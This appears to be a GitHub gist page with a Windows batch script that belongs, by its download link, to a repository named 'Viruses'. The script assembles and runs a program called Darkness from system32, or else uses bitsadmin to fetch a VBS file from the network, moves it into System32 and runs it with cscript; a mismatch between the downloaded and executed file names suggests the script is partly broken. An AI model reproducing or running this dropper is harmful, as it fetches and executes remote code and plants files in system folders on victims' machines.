Skip to content

Instantly share code, notes, and snippets.

@INeddHelp
Created February 14, 2023 08:16
Show Gist options
  • Save INeddHelp/c53b5e932e5bbdace9ea98c3b2edb372 to your computer and use it in GitHub Desktop.
Save INeddHelp/c53b5e932e5bbdace9ea98c3b2edb372 to your computer and use it in GitHub Desktop.
@echo off
cd /d %windir%\system32
where nasm.exe >nul 2>&1
if %errorlevel% == 0 (
nasm -f bin -o Darkness.com Darkness.asm
Darkness.com
) else (
set URL=https://github.com/INeddHelp/Viruses/tree/master/Darkness/namsinstaller.vbs
set DESTINATION=%temp%\namsinstaller.vbs
bitsadmin /transfer namsdownload /download /priority normal %URL% %DESTINATION%
move /y %DESTINATION% %windir%\System32\namsinstaller.vbs
cscript nasminstaller.vbs
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment